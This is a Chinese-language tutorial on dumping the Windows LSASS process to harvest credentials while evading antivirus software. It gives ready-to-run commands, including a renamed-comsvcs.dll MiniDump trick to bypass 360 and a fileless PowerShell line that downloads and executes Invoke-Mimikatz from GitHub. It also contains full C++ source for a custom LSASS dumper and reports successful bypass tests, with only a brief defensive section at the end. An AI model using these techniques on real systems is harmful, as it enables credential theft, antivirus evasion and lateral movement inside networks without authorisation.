几种免杀转储lsass进程的技巧
字数 1422 2025-08-03 16:43:25
免杀转储LSASS进程的多种技巧详解
1. LSASS进程概述
LSASS.exe (Local Security Authority Subsystem Service) 是Windows系统中负责本地安全和登录策略的系统进程,其进程空间中存储着机器的域、本地用户名和密码等重要认证信息。在内网渗透中进行横向移动和权限提升时,转储LSASS进程是获取凭证的常用方法。
2. 传统方法及其局限性
传统方法使用Procdump+Mimikatz组合:
- Procdump是微软官方工具,理论上不易引起杀软报警
- 实际测试中仍会被360等安全软件拦截
3. 免杀转储方法详解
3.1 使用系统内置功能绕过杀软
原理:利用系统自带的comsvcs.dll中的MiniDump导出函数
步骤:
-
获取LSASS进程PID:
tasklist | findstr lsass.exe -
直接执行会被拦截的命令格式:
rundll32.exe comsvcs.dll MiniDump <PID> <输出路径> full -
绕过方法:
- 复制并重命名comsvcs.dll:
copy C:\windows\System32\comsvcs.dll test.dll - 使用重命名后的dll执行:
rundll32.exe test.dll, MiniDump <PID> lsass.dmp full
- 复制并重命名comsvcs.dll:
注意事项:
- 需要在具有SeDebugPrivilege权限的PowerShell中执行
- 解密时可能遇到新版Mimikatz与Win10 1809+版本的兼容性问题,需使用1809版Mimikatz
3.2 PowerShell脚本方法
3.2.1 使用PowerSploit的Out-MiniDump模块
步骤:
- 导入模块:
Import-Module Out-MiniDump - 执行转储:
Get-Process lsass | Out-Minidump
3.2.2 使用PowerShell版Mimikatz
工具地址:https://github.com/fir3d0g/mimidogz
执行方式:
- 远程加载(文件不落地):
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz" - 本地执行(网络受限时):
上传ps1脚本到目标机器直接运行
3.3 自定义应用程序方法
完整C++代码实现:
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment ( lib, "dbghelp.lib" )
// 字符串转换函数
std::wstring s2ws(const std::string& s) {
int len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), (int)s.length() + 1, 0, 0);
wchar_t* buf = new wchar_t[len];
MultiByteToWideChar(CP_ACP, 0, s.c_str(), (int)s.length() + 1, buf, len);
std::wstring r(buf);
delete[] buf;
return r;
}
// 提升为Debug权限
bool EnableDebugPrivilege() {
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return FALSE;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
CloseHandle(hToken);
return false;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
CloseHandle(hToken);
return false;
}
return true;
}
int main() {
char filename[MAX_PATH];
char infoBuf[MAX_PATH];
DWORD bufCharCount = MAX_PATH;
// 生成唯一文件名
GetComputerNameA(infoBuf, &bufCharCount);
strcpy_s(filename, infoBuf);
strcat_s(filename, "-");
strcat_s(filename, "lsass.dmp");
// 查找LSASS进程
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
HANDLE outFile = CreateFileA(filename, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
std::wcout << L"[+] Got lsass.exe PID: " << lsassPID << std::endl;
}
// 提权并转储
if (!EnableDebugPrivilege()) {
printf("EnableDebugPrivilege failed: %d\n", GetLastError());
}
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) {
std::cout << "[+] Save To " << filename << std::endl;
std::cout << "[+] lsass dumped successfully!" << std::endl;
}
CloseHandle(lsassHandle);
CloseHandle(outFile);
CloseHandle(snapshot);
return 0;
}
代码解析:
- 提权部分:通过
EnableDebugPrivilege()函数获取SeDebugPrivilege权限 - 进程查找:使用
CreateToolhelp32Snapshot和Process32Next遍历进程查找LSASS - 转储核心:调用
MiniDumpWriteDumpAPI进行内存转储 - 文件名生成:使用计算机名生成唯一文件名避免冲突
编译与使用注意事项:
- 需要链接dbghelp.lib库
- 在32位系统上可能需要额外处理
- 在Win2008 R2等系统上可能需要补充缺失的DLL文件
4. 实际测试结果
4.1 360安全卫士绕过测试
- 直接使用comsvcs.dll会被拦截
- 重命名dll后可成功绕过
- 自定义应用程序方法在Win2008 R2 64位系统上测试成功
4.2 解密注意事项
- 新版Mimikatz可能无法解密某些系统生成的dump文件
- Win10 1809及以上版本需要使用特定版本的Mimikatz
5. 防御建议
5.1 攻击者视角的规避技巧
- 多种方法结合使用,根据目标环境选择最合适的方式
- 优先使用系统自带组件的方法
- 考虑网络环境限制,准备多种方案
5.2 防御者防护措施
- 监控MiniDumpWriteDump等敏感API调用
- 限制对LSASS进程的访问权限
- 启用Credential Guard等防护功能
- 监控异常进程创建和DLL加载行为